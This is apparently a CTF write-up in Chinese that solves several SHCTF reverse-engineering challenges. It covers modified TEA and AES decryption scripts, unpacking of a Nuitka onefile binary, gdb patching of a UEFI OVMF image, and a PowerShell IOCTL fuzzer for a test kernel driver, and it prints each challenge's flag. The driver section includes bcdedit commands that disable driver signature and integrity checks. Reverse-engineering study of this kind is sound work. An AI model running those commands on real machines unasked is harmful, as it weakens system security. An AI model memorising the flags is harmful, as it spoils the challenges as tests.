算法是魔改的tea
v3 = 40503<<16 | 31161 = 0x9E3779B9 delta
<<4/>>5 改成了 <<2/>>4

密文提出来解魔改tea就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import struct

MASK = 0xffffffff
DELTA = 0x9e3779b9

# 40 bytes target from trace
target = bytes([
0x4a,0xd4,0x4f,0x82,0x37,0xe8,0x6d,0xf9,0x55,0x6e,0xc5,0x22,0x36,0xb1,0x38,0x5b,
0xc1,0x8f,0x27,0x6a,0xff,0x65,0x85,0x42,0x24,0xbf,0x63,0xde,0x33,0xb8,0x4d,0x8e,
0xbc,0xae,0xb3,0x5b,0x7e,0x9c,0x76,0x11
])

# keys
seed1 = 0x12345678
seed2 = 0xDEADBEEF
k0 = ((seed1 & 0xFFFF) * 0x1337) & MASK
k1 = (seed2 + 0xAAAA) & MASK
k2 = (k0 ^ k1) & MASK
k3 = ((k2 * 2) + 1) & MASK
k = [k0,k1,k2,k3]

def F(x, sumv, kl, kr):
return ((((x << 2) & MASK) + kl) & MASK) ^ ((x + sumv) & MASK) ^ (((x >> 4) + kr) & MASK)

def dec_block(v0, v1):
sumv = (DELTA * 32) & MASK
for _ in range(32):
v1 = (v1 - F(v0, sumv, k[2], k[0])) & MASK
v0 = (v0 - F(v1, sumv, k[3], k[1])) & MASK
sumv = (sumv - DELTA) & MASK
return v0, v1

arr = list(struct.unpack("<10I", target))
out = []
for i in range(0, 10, 2):
a,b = dec_block(arr[i], arr[i+1])
out += [a,b]

plain = struct.pack("<10I", *out).rstrip(b"\x00")
print(plain.decode())


SHCTF{all_you_need_is_deobfuscation}

PackedLegacy

首先ida里打开分析,定位到main函数,可以看到一下四个字符串。可以判断这个程序逻辑应该是不在这,这是 Nuitka onefile 启动器很常见的字符串

1
2
3
4
NUITKA_ONEFILE_PARENT
NUITKA_ONEFILE_START
NUITKA_ONEFILE_DIRECTORY
NUITKA_ORIGINAL_ARGV0

往下翻这一块就,查找加载。准备一个tmp释放文件目录来解包可执行资源文件。

  • **FindResourceA**** / ****LoadResource**:查找并加载类型为 0x1B (通常是自定义资源类型) 且 ID 为 0xA 的资源。
  • **LockResource**:获取指向该资源数据的内存指针。
  • **SizeofResource**:获取资源的总大小。
  • **qword_1400200F0**:作为读取指针,开始遍历资源内容。

往下就是一个解包过程读取PE资源并拼接路径。判断出来是解压逻辑, Nuitka 在实现 onefile 打包时 。默认是使用facebook/zstd 库 。这里就是使用zstd解压算法

1
2
3
4
FindResourceA / LoadResource / LockResource / SizeofResource
CreateDirectoryW / CreateFileW / WriteFile
CreateProcessW
LoadLibraryExW / GetProcAddress / AddDllDirectory

来到这里可以很明显的看到,注册了一个dll,然后加载dll,并将控制权交给这个dll。下面的GEtprocaddress函数加载了一个run_code 导出函数 。这个函数很经典了。 (Nuitka 为了深度集成,会编译出一个二进制 DLL,并导出一个名为 run_code 的 C 入口 )

至此这个解包程序的作用就完了,我们下面要分析加载的这个dll中run_code干了什么

首先先dump出这dll文件

参数是1b=27

资源就是 RCDATA(27)。然后会进行3字节key校验。我们直接从+3的位置开始dump跳过校验

从C1E0这个函数中获取数据,可以分析一下是 UTF-16LE 的读法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void __fastcall sub_7FF7D7C7C1E0(char *p_Source, unsigned __int64 Size_2)
{
__int64 n0x20000; // r8
bool v3; // si
unsigned __int64 Size; // rdi
size_t Size_1; // rbx
unsigned __int64 v7; // rax

if ( Size_2 )
{
n0x20000 = n0x20000_0;
v3 = 0;
Size = Size_2;
do
{
if ( ::n0x20000 == n0x20000 )
{
if ( qword_7FF7D7C90118 < (unsigned __int64)qword_7FF7D7C90110 || v3 )
{
n0x20000_0 = 0;
::n0x20000 = 0x20000;
v7 = sub_7FF7D7C78F30(Block, &p_Block, &qword_7FF7D7C90108);
v3 = n0x20000_0 == ::n0x20000;
if ( v7 > 0xFFFFFFFFFFFFFF88uLL )
LABEL_15:
unknown_libname_1();
::n0x20000 = n0x20000_0;
n0x20000 = 0;
n0x20000_0 = 0;
}
else if ( qword_7FF7D7C90110 != qword_7FF7D7C90118 )
{
goto LABEL_15;
}
}
else
{
Size_1 = Size;
if ( Size >= ::n0x20000 - n0x20000 )
Size_1 = ::n0x20000 - n0x20000;
memcpy(p_Source, (char *)p_Block + n0x20000, Size_1);
p_Source += Size_1;
Size -= Size_1;
n0x20000 = Size_1 + n0x20000_0;
n0x20000_0 += Size_1;
}
}
while ( Size );
}
}

读完写入刚才创建的文件。使用脚本dump出dll文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
import argparse
import struct
import sys
from pathlib import Path

import zstandard as zstd


def pe_parse_sections(data: bytes):
e_lfanew = struct.unpack_from("<I", data, 0x3C)[0]
if data[e_lfanew : e_lfanew + 4] != b"PE\0\0":
raise ValueError("Not a PE file")
coff = e_lfanew + 4
_, nsec, _, _, _, opt_size, _ = struct.unpack_from("<HHIIIHH", data, coff)
sec_off = coff + 20 + opt_size
secs = []
for i in range(nsec):
off = sec_off + i * 40
name = data[off : off + 8].rstrip(b"\x00").decode("ascii", "ignore")
vs, va, rs, ro, *_ = struct.unpack_from("<IIIIIIHHI", data, off + 8)
secs.append({"Name": name, "VA": va, "VS": vs, "RS": rs, "RO": ro})
return {"sections": secs}


def rva_to_off(pe, rva: int):
for s in pe["sections"]:
size = max(s["VS"], s["RS"])
if s["VA"] <= rva < s["VA"] + size:
return s["RO"] + (rva - s["VA"])
return None


def parse_resources(data: bytes, pe):
rsrc = next((s for s in pe["sections"] if s["Name"] == ".rsrc"), None)
if not rsrc:
return []
base = rsrc["RO"]

def u16(o): return struct.unpack_from("<H", data, o)[0]
def u32(o): return struct.unpack_from("<I", data, o)[0]

def read_unicode(offset: int):
o = base + offset
ln = u16(o)
return data[o + 2 : o + 2 + ln * 2].decode("utf-16le", "ignore")

leaves = []

def walk_dir(dir_off: int, path):
o = base + dir_off
_, _, _, _, named, ids = struct.unpack_from("<IIHHHH", data, o)
total = named + ids
ent = o + 16
for i in range(total):
name = u32(ent + i * 8)
offd = u32(ent + i * 8 + 4)
if name & 0x80000000:
name_val = read_unicode(name & 0x7FFFFFFF)
else:
name_val = name & 0xFFFF
new_path = path + [name_val]
is_dir = offd & 0x80000000
child = offd & 0x7FFFFFFF
if is_dir:
walk_dir(child, new_path)
else:
de = base + child
rva, size, codepage, _ = struct.unpack_from("<IIII", data, de)
leaves.append({"path": new_path, "rva": rva, "size": size, "codepage": codepage})

walk_dir(0, [])
return leaves


def parse_utf16_pkg(buf: bytes):
off = 0
out = {}
while off + 2 <= len(buf):
if buf[off : off + 2] == b"\x00\x00":
break
end = off
while end + 2 <= len(buf) and buf[end : end + 2] != b"\x00\x00":
end += 2
name = buf[off:end].decode("utf-16le", "ignore")
off = end + 2
size = struct.unpack_from("<Q", buf, off)[0]
off += 8
out[name] = buf[off : off + size]
off += size
return out


def main():
ap = argparse.ArgumentParser(description="Dump PackedLegacy.dll from PackedLegacy.exe")
ap.add_argument("exe", help="Path to PackedLegacy.exe")
ap.add_argument("-o", "--output", default="extracted_PackedLegacy.dll", help="Output DLL path")
args = ap.parse_args()

exe_path = Path(args.exe)
if not exe_path.exists():
print(f"[-] file not found: {exe_path}")
return 1

data = exe_path.read_bytes()
pe = pe_parse_sections(data)
res = parse_resources(data, pe)

rc27 = next((r for r in res if len(r["path"]) >= 2 and r["path"][0] == 10 and r["path"][1] == 27), None)
if not rc27:
print("[-] RCDATA(27) not found")
return 1

off = rva_to_off(pe, rc27["rva"])
blob = data[off : off + rc27["size"]]
if blob[:3] != b"KAY":
print("[-] unexpected header (expected KAY)")
return 1

dctx = zstd.ZstdDecompressor().decompressobj()
decomp = dctx.decompress(blob[3:])
if not dctx.eof:
print("[-] zstd frame not fully decoded")
return 1

files = parse_utf16_pkg(decomp)
dll = files.get("PackedLegacy.dll")
if dll is None:
print("[-] PackedLegacy.dll not found in package")
return 1

out = Path(args.output)
out.write_bytes(dll)
print(f"[+] dumped: {out} ({len(dll)} bytes)")
return 0


if __name__ == "__main__":
sys.exit(main())


ida中打开dll文件直接定位搜索run_code

这里可以找到导入表,然后我们定位run_code函数

View -> Open subviews -> Exports,直接定位

可以看到这里的

同理import表定位findResourceA函数

这里可以看到 通过 FindResourceA 寻找类型为 0xA (RCDATA),ID 为 3 的资源。 LockResource 返回值,就是 RCDATA(3) 的数据起始指针

跟进到这个函数整体逻辑就是读取opcode然后解py字节码。推测是吧py打包的字节转为exe的功能( Windows PE 资源解析函数 )

确定dll里还藏了东西,可以猜测是exe程序,搜索一下4d5a90(MZ)试试,这是win下可执行文件的标准头部

这就清晰了,从这开始是一个exe程序,我们有用ida脚本从这开始吧数据dump出来还原exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import struct, os, ida_nalt
path = ida_nalt.get_input_file_path()
data = open(path, 'rb').read()

pe_off = struct.unpack_from('<I', data, 0x3C)[0]
coff = pe_off + 4
_, nsec, _, _, _, opt_size, _ = struct.unpack_from('<HHIIIHH', data, coff)
sec_off = coff + 20 + opt_size
sections = []
for i in range(nsec):
off = sec_off + i*40
name = data[off:off+8].rstrip(b'\x00').decode('ascii','ignore')
vs, va, rs, ro = struct.unpack_from('<IIII', data, off+8)
sections.append((name, va, vs, rs, ro))

rsrc = next(s for s in sections if s[0] == '.rsrc')
name, va, vs, rs, ro = rsrc
base = ro

leaves = []
stack = [(0, [])]
while stack:
dir_off, path_list = stack.pop()
o = base + dir_off
_, _, _, _, named, ids = struct.unpack_from('<IIHHHH', data, o)
total = named + ids
ent = o + 16
for i in range(total):
name_or_id = struct.unpack_from('<I', data, ent + i*8)[0]
offd = struct.unpack_from('<I', data, ent + i*8 + 4)[0]
if name_or_id & 0x80000000:
name_off = name_or_id & 0x7FFFFFFF
ln = struct.unpack_from('<H', data, base + name_off)[0]
name_val = data[base + name_off + 2: base + name_off + 2 + ln*2].decode('utf-16le','ignore')
else:
name_val = name_or_id & 0xFFFF
new_path = path_list + [name_val]
if offd & 0x80000000:
stack.append((offd & 0x7FFFFFFF, new_path))
else:
de = base + (offd & 0x7FFFFFFF)
rva, size, codepage, _ = struct.unpack_from('<IIII', data, de)
leaves.append((new_path, rva, size, codepage))

leaf = next(l for l in leaves if len(l[0])>=2 and l[0][0]==10 and l[0][1]==3)
path_list, rva, size, codepage = leaf

file_off = None
for name, va, vs, rs, ro in sections:
if va <= rva < va + max(vs, rs):
file_off = ro + (rva - va)
break

blob = data[file_off:file_off+size]
marker = b'u4d5a90'
idx = blob.find(marker)
start = idx + 1 # 保留 4d5a90
end = blob.find(b'\x00', start)
hex_blob = blob[start:end]
hex_str = bytes([b for b in hex_blob if (48<=b<=57) or (65<=b<=70) or (97<=b<=102)])
stage2 = bytes.fromhex(hex_str.decode('ascii'))

out = os.path.join(os.path.dirname(path), 'stage2_from_ida.exe')
with open(out, 'wb') as f:
f.write(stage2)

print('dumped:', out, 'size', len(stage2))

拿到最终程序

在stage2.exe中可以看到程序运行时候的逻辑

有enc,key,iv。直接分析加密函数

扩展轮密钥里密钥的扩展常量也改了

encrypto2分析一下是类似aes cbc魔改

sbox魔改,byte_405020 db 30h ,标准的仿射常量是 0x63

最后对每个byte字节做异或11223344h,由于是字节异或, 所以取低八位0x44,最后写脚本解密出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import base64

def rol8(x: int, n: int) -> int:
return ((x << n) | (x >> (8 - n))) & 0xFF

def gf_mul(a: int, b: int) -> int:
a &= 0xFF
b &= 0xFF
out = 0
while b:
if b & 1:
out ^= a
a = ((a << 1) & 0xFF) ^ (0x1B if (a & 0x80) else 0)
b >>= 1
return out


def build_custom_sbox(affine_const: int):
sbox = []
for n in range(256):
if n == 0:
inv = 0
else:
v = 1
for _ in range(253):
v = gf_mul(v, n)
inv = v
s = inv ^ rol8(inv, 1) ^ rol8(inv, 2) ^ rol8(inv, 3) ^ rol8(inv, 4) ^ affine_const
sbox.append(s & 0xFF)

inv_sbox = [0] * 256
for i, v in enumerate(sbox):
inv_sbox[v] = i
return sbox, inv_sbox

def expand_round_keys_custom(key: bytes, sbox, rcon_src: bytes):
if len(key) != 16:
raise ValueError("custom AES key must be 16 bytes")
if len(rcon_src) < 11:
raise ValueError("rcon source too short")

words = [[0, 0, 0, 0] for _ in range(44)]
for i in range(4):
words[i] = list(key[4 * i : 4 * i + 4])

for i in range(4, 44):
t = words[i - 1][:]
if i % 4 == 0:
t = t[1:] + t[:1]
t = [sbox[x] for x in t]
t[0] ^= rcon_src[i // 4]
words[i] = [words[i - 4][j] ^ t[j] for j in range(4)]

round_keys = []
for r in range(11):
rk = [0] * 16
for c in range(4):
for rr in range(4):
rk[4 * c + rr] = words[4 * r + c][rr]
round_keys.append(rk)
return round_keys


def add_round_key(state, rk):
return [state[i] ^ rk[i] for i in range(16)]


def shift_rows(state):
out = state[:]
out[1], out[5], out[9], out[13] = state[5], state[9], state[13], state[1]
out[2], out[6], out[10], out[14] = state[10], state[14], state[2], state[6]
out[3], out[7], out[11], out[15] = state[15], state[3], state[7], state[11]
return out


def inv_shift_rows(state):
out = state[:]
out[1], out[5], out[9], out[13] = state[13], state[1], state[5], state[9]
out[2], out[6], out[10], out[14] = state[10], state[14], state[2], state[6]
out[3], out[7], out[11], out[15] = state[7], state[11], state[15], state[3]
return out


def mix_columns(state):
out = state[:]
for c in range(4):
i = 4 * c
s0, s1, s2, s3 = state[i : i + 4]
t = s0 ^ s1 ^ s2 ^ s3
out[i + 0] = s0 ^ t ^ gf_mul(s0 ^ s1, 2)
out[i + 1] = s1 ^ t ^ gf_mul(s1 ^ s2, 2)
out[i + 2] = s2 ^ t ^ gf_mul(s2 ^ s3, 2)
out[i + 3] = s3 ^ t ^ gf_mul(s0 ^ s3, 2)
return out


def inv_mix_columns(state):
out = state[:]
for c in range(4):
i = 4 * c
s0, s1, s2, s3 = state[i : i + 4]
out[i + 0] = gf_mul(s0, 14) ^ gf_mul(s1, 11) ^ gf_mul(s2, 13) ^ gf_mul(s3, 9)
out[i + 1] = gf_mul(s0, 9) ^ gf_mul(s1, 14) ^ gf_mul(s2, 11) ^ gf_mul(s3, 13)
out[i + 2] = gf_mul(s0, 13) ^ gf_mul(s1, 9) ^ gf_mul(s2, 14) ^ gf_mul(s3, 11)
out[i + 3] = gf_mul(s0, 11) ^ gf_mul(s1, 13) ^ gf_mul(s2, 9) ^ gf_mul(s3, 14)
return out


def custom_dec_block(block16: bytes, round_keys, inv_sbox):
if len(block16) != 16:
raise ValueError("block must be 16 bytes")
st = list(block16)
st = add_round_key(st, round_keys[10])
for r in range(9, 0, -1):
st = inv_shift_rows(st)
st = [inv_sbox[x] for x in st]
st = add_round_key(st, round_keys[r])
st = inv_mix_columns(st)
st = inv_shift_rows(st)
st = [inv_sbox[x] for x in st]
st = add_round_key(st, round_keys[0])
return bytes(st)


def decrypt_password(cipher: bytes, key: bytes, iv: bytes, xor_const: int, affine_const: int, rcon_src: bytes):
sbox, inv_sbox = build_custom_sbox(affine_const)
round_keys = expand_round_keys_custom(key, sbox, rcon_src)

plain = b""
prev = iv
for i in range(0, len(cipher), 16):
c = cipher[i : i + 16]
x = custom_dec_block(c, round_keys, inv_sbox)
p = bytes([x[j] ^ prev[j] ^ xor_const for j in range(16)])
plain += p
prev = c
return plain


def main():
cipher = bytes([
0x42, 0x45, 0xE9, 0x7D, 0x22, 0x32, 0xF7, 0x2C,
0x3D, 0xCA, 0x15, 0xF7, 0x4F, 0xCC, 0x84, 0x4B,
0xDE, 0xAD, 0xB9, 0x51, 0xCF, 0x29, 0xCD, 0xE2,
0x33, 0x60, 0x60, 0xA6, 0x2C, 0x03, 0x4F, 0x55,
0x11, 0x74, 0xA4, 0xD8, 0x05, 0xF4, 0xAC, 0x44,
0xBA, 0x20, 0x4B, 0x86, 0x00, 0x26, 0x90, 0x74,
])
key = b"nice_to_meet_you"
iv = b"1145141145144332"
xor_const = 0x44
affine_const = 0x30
rcon_src = b"easypython?"

pw_bytes = decrypt_password(cipher, key, iv, xor_const, affine_const, rcon_src)
flag = bytes([b ^ 0x77 for b in pw_bytes]).decode("ascii", errors="replace")

print("flag =", flag)


if __name__ == "__main__":
main()


#SHCTF{Ea3y_nu1tk@_ch@1l2nges_h0pe_y0u_lik3-mewo}

UEFI-OVMF

qemu模拟一下可以看到一些提示信息,给了IV和算法aes cbc

ESC后一路进到这里

patch一下,可以得到以下secret flag的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
qemu-system-x86_64 \
-machine q35,accel=tcg \
-m 1024 \
-bios ./185333_UEFI-OVMF \
-serial stdio \
-debugcon file:debug.log \
-global isa-debugcon.iobase=0x402 \
-net none \
-s -S

grep -i "PlatformDxe" debug.log

(gdb) target remote :1234
(gdb) set {unsigned char}(base + 0xd870) = 1
(gdb) c

(gdb) x/12bx ($b+0x1ea8)
0x3ea1cea8: 0xc6 0x05 0x3d 0xc1 0xb9 0x00 0x00 0x01
0x3ea1ceb0: 0x04 0x2c 0x00 0x00
(gdb) x/12bx ($b+0x1ec5)
0x3ea1cec5: 0xc6 0x05 0xa4 0xb9 0x00 0x00 0x01 0x48
0x3ea1cecd: 0x8b 0xcd 0xe8 0xe4,


find /b 0x3e000000,0x42000000, 0x03,0x08,0x0e,0x00,0x0e,0x00,0x00,0x00,0x29,0x02,0x5f,0x15


patch
set $a1 = 0x3e32c0b9
set $a2 = 0x3e637b39
set $a3 = 0x3f1362b5

set {unsigned short}($a1+2) = 0x000d
set {unsigned short}($a1+4) = 0x000d
set {unsigned short}($a2+2) = 0x000d
set {unsigned short}($a2+4) = 0x000d
set {unsigned short}($a3+2) = 0x000d
set {unsigned short}($a3+4) = 0x000d

下载 uefitool 直接搜刚才模拟显示的字符串

右键-> Extract body 导出efi文件,这个文件可以被ida正确识别。直接放入ida中分析

可以找到完整的校验逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int8 v3; // r9
double v4; // xmm2_8
int envp_1; // edi
__int64 v7; // rcx
int v8; // edi
int v9; // edi
__int64 v10; // rax
__int64 v11; // rbp
unsigned __int64 n48; // rdi
__int64 v13; // rcx
__int64 v14; // rax
__int64 v15; // rdx
__int64 v16; // rcx
__int64 v17; // r14
__int64 v18; // rdx
__int64 v19; // rcx
unsigned __int64 n48_1; // rsi
__int64 v21; // rax
const char *p_AES_encryption_failed_n; // rdx
bool v23; // di
__int64 v25; // [rsp+0h] [rbp-118h] BYREF
__int64 v26; // [rsp+20h] [rbp-F8h]
__int64 v27; // [rsp+28h] [rbp-F0h]
__int64 v28[2]; // [rsp+30h] [rbp-E8h] BYREF
unsigned int v29[12]; // [rsp+40h] [rbp-D8h] BYREF
_BYTE v30[112]; // [rsp+70h] [rbp-A8h] BYREF
__int64 v31; // [rsp+E0h] [rbp-38h]
unsigned __int16 *v32; // [rsp+140h] [rbp+28h]
_QWORD *v33; // [rsp+148h] [rbp+30h]

envp_1 = (unsigned __int16)envp;
LODWORD(v27) = v3;
LODWORD(v26) = (unsigned __int16)envp;
sub_47F4(0x400000, "%a: Action=0x%Lx QuestionId=%d Type=%d\n", "Callback", argv, v26, v27);
if ( argv == (const char **)1 )
{
v8 = envp_1 - 3;
if ( !v8 )
{
*v33 = 4;
return nullsub_1((unsigned __int64)&v25 ^ v31);
}
v9 = v8 - 1;
if ( !v9 )
{
*v33 = 5;
return nullsub_1((unsigned __int64)&v25 ^ v31);
}
if ( v9 == 1 )
{
v10 = sub_4F00(v7, *v32);
v11 = v10;
if ( !v10 )
goto LABEL_23;
n48 = 2 * sub_2BC0(v10);
if ( n48 > 0x30 )
n48 = 48;
sub_331C(v11, v30);
sub_47F4(64, "Input string: %a\n", v4);
sub_47F4(64, "DataSize: %d\n", n48);
v14 = sub_49D8(v13, 488);
v17 = v14;
if ( !v14 )
{
sub_47F4(64, "Allocate AES context failed\n");
byte_D870 = 0;
goto LABEL_22;
}
if ( (unsigned int)sub_6418(v16, v15, v14) || (unsigned int)sub_6774(v19, v18, v17 + 244) )
{
p_AES_encryption_failed_n = "AES init failed\n";
}
else
{
sub_47F4(64, "AES context initialized\n");
if ( (n48 & 0xF) == 0 )
{
sub_2B24(v28, &unk_D6A8, 16);
sub_6FE8(v11, (unsigned int)v29, n48, v17, (__int64)v28);
sub_47F4(64, "AES encryption successful\n");
sub_47F4(64, "Cipher: ");
for ( n48_1 = 0; n48_1 < n48; ++n48_1 )
sub_47F4(64, "%02x ", *((unsigned __int8 *)v29 + n48_1));
sub_47F4(64, "\n");
v21 = sub_2A4C(v29, &qword_D6D0, 48);
p_AES_encryption_failed_n = "Password correct\n";
v23 = v21 == 0;
if ( v21 )
p_AES_encryption_failed_n = "Password incorrect\n";
goto LABEL_20;
}
p_AES_encryption_failed_n = "AES encryption failed\n";
}
v23 = 0;
LABEL_20:
sub_47F4(64, p_AES_encryption_failed_n);
byte_D870 = v23;
sub_4AB8(v17);
LABEL_22:
sub_4AB8(v11);
LABEL_23:
if ( !byte_D870 )
(*(void (__fastcall **)(_QWORD, const __int16 *))(*(_QWORD *)(qword_D888 + 64) + 8LL))(
*(_QWORD *)(qword_D888 + 64),
L"Password incorrect\r\n");
}
}
return nullsub_1((unsigned __int64)&v25 ^ v31);
}

很明显我们可以拿到这个解password的密文iv ,key,用aes去解一下

密文接着的就是key

解一下发现是一串hex。猜测是作为第二阶段的key–>bba6f17de9c74a8215dac2d019ba6aa6

1
2
3
4
5
6
7
8
from Crypto.Cipher import AES

k1 = bytes.fromhex("335dc426505880cab4f88eee06abb6ecb801ccbb67ff8731e7bbad366e5fb4e9")
iv1 = bytes.fromhex("0559edaf79884123fe11184e3851a98a")
ct1 = bytes.fromhex("f8d35cc394db8583ccaff92c65ab51e7446ccb0ad86d3118fd362ebbfa1b76f998977d5b5801085c0b69af9f85cbcf67")

pt = AES.new(k1, AES.MODE_CBC, iv1).decrypt(ct1)
print(pt[:-pt[-1]].decode())

拿着刚才patch后输出的密文,刚开始图片给的IV,算法模式也告诉了,直接解就行

1
2
3
4
5
6
7
8
9
10
from Crypto.Cipher import AES

key = bytes.fromhex("bba6f17de9c74a8215dac2d019ba6aa6")
iv = bytes.fromhex("3ce8daa857cac754fc613c37f3703464")
enc = bytes.fromhex("735f8f350ebf954a6d607440faeaf95fa7f4963078d0acf7d4c2301ceee2994f0e17a904b543bd61abeeecff63f4a447")

pt = AES.new(key, AES.MODE_CBC, iv).decrypt(enc)
print(pt[:-pt[-1]].decode())

SHCTF{fd0fa701-d69b-971d-70dd-cb16c8ba374a}

VM

先加载服务

执行下面指令关虚拟机重启 F7 即可( 测试签名模式 + 关闭完整性检查 )

1
2
3
4
shutdown /r /o /t 0  进入蓝屏小界面-继续-使用设备-疑难解答-重启

bcdedit /set testsigning on
bcdedit /set nointegritychecks on

成功驱动加载到内核


可以直接看到题目逻辑

powershell的fuzz脚本测一下flag长度(虽然是多此一举)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141


Set-StrictMode -Version Latest
$ErrorActionPreference = "Stop"

$DevicePath = "\\.\ShCtfDriver"
$IOCTL = 0x222000

$Source = @"
using System;
using System.Runtime.InteropServices;

public static class Native {
public const uint GENERIC_READ = 0x80000000;
public const uint GENERIC_WRITE = 0x40000000;
public const uint FILE_SHARE_NONE = 0x0;
public const uint OPEN_EXISTING = 3;
public const uint FILE_ATTRIBUTE_NORMAL = 0x80;

[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern IntPtr CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);

[DllImport("kernel32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
uint dwIoControlCode,
byte[] lpInBuffer,
uint nInBufferSize,
byte[] lpOutBuffer,
uint nOutBufferSize,
ref uint lpBytesReturned,
IntPtr lpOverlapped
);

[DllImport("kernel32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@
Add-Type -TypeDefinition $Source | Out-Null

function Get-LastWin32ErrorMessage {
$err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
return "Win32Error=$err"
}

# Open device
$h = [Native]::CreateFile($DevicePath,
([Native]::GENERIC_READ -bor [Native]::GENERIC_WRITE),
[Native]::FILE_SHARE_NONE,
[IntPtr]::Zero,
[Native]::OPEN_EXISTING,
[Native]::FILE_ATTRIBUTE_NORMAL,
[IntPtr]::Zero
)

if ($h -eq [IntPtr]::Zero -or $h -eq [IntPtr](-1)) {
throw "CreateFile failed: $(Get-LastWin32ErrorMessage).
}

Write-Host "[+] Opened $DevicePath" -ForegroundColor Green

# Helper: call ioctl with a given flag string
function Invoke-Check([string]$flag) {
$in = New-Object byte[] 256
$bytes = [Text.Encoding]::ASCII.GetBytes($flag)
[Array]::Copy($bytes, $in, [Math]::Min($bytes.Length, 255))
$in[255] = 0

$out = New-Object byte[] 260
[uint32]$ret = 0

$sw = [System.Diagnostics.Stopwatch]::StartNew()
# 使用 [ref] 传递 uint32
$ok = [Native]::DeviceIoControl($h, [uint32]$IOCTL, $in, 256, $out, 260, [ref]$ret, [IntPtr]::Zero)
$sw.Stop()

if (-not $ok) {
return [PSCustomObject]@{
Success = $false
OkFlag = $null
Msg = "<DeviceIoControl failed> $(Get-LastWin32ErrorMessage)"
TimeMs = [int]$sw.ElapsedMilliseconds
}
}

$okFlag = [BitConverter]::ToUInt32($out, 0)
$msgBytes = $out[4..259]
$nullIndex = [Array]::IndexOf($msgBytes, [byte]0)
if ($nullIndex -lt 0) { $nullIndex = $msgBytes.Length }
$msg = [Text.Encoding]::ASCII.GetString($msgBytes, 0, $nullIndex)

return [PSCustomObject]@{
Success = $true
OkFlag = $okFlag
Msg = $msg
TimeMs = [int]$sw.ElapsedMilliseconds
}
}

# ---- Fuzz config ----
$MinPayload = 1
$MaxPayload = 50

Write-Host "[*] 正在测试 Payload 长度 (SHCTF{A...})" -ForegroundColor Cyan

for ($n = $MinPayload; $n -le $MaxPayload; $n++) {
$flag = "SHCTF{" + ("A" * $n) + "}"
$res = Invoke-Check $flag

$mark = ""
if ($res.Success) {
if ($res.OkFlag -ne 0) {
$mark = " <<< SUCCESS"
$color = "Green"
}
elseif ($res.Msg -notmatch "length") {
$mark = " <<< CHANGED"
$color = "Yellow"
}
else { $color = "Gray" }
} else {
$mark = " <<< IOCTL_FAIL"
$color = "Red"
}

$outStr = "{0,3} payload | ok={1} | {2,5} ms | {3}{4}" -f $n, $res.OkFlag, $res.TimeMs, $res.Msg, $mark
Write-Host $outStr -ForegroundColor $color
}

[Native]::CloseHandle($h) | Out-Null
Write-Host "`n[+] 测试完成。"

上windbg去找到关键逻辑(local attch kernel)

解释一下为什么直接定位这个地址的函数 !drvobj \Driver\ShCtfDriver 2 可以看到

  • [0e] IRP_MJ_DEVICE_CONTROL = fffff8022e2a1030`

用户态的 DeviceIoControl 请求最终会走这个分发函数,所以这个就是“校验逻辑入口”。

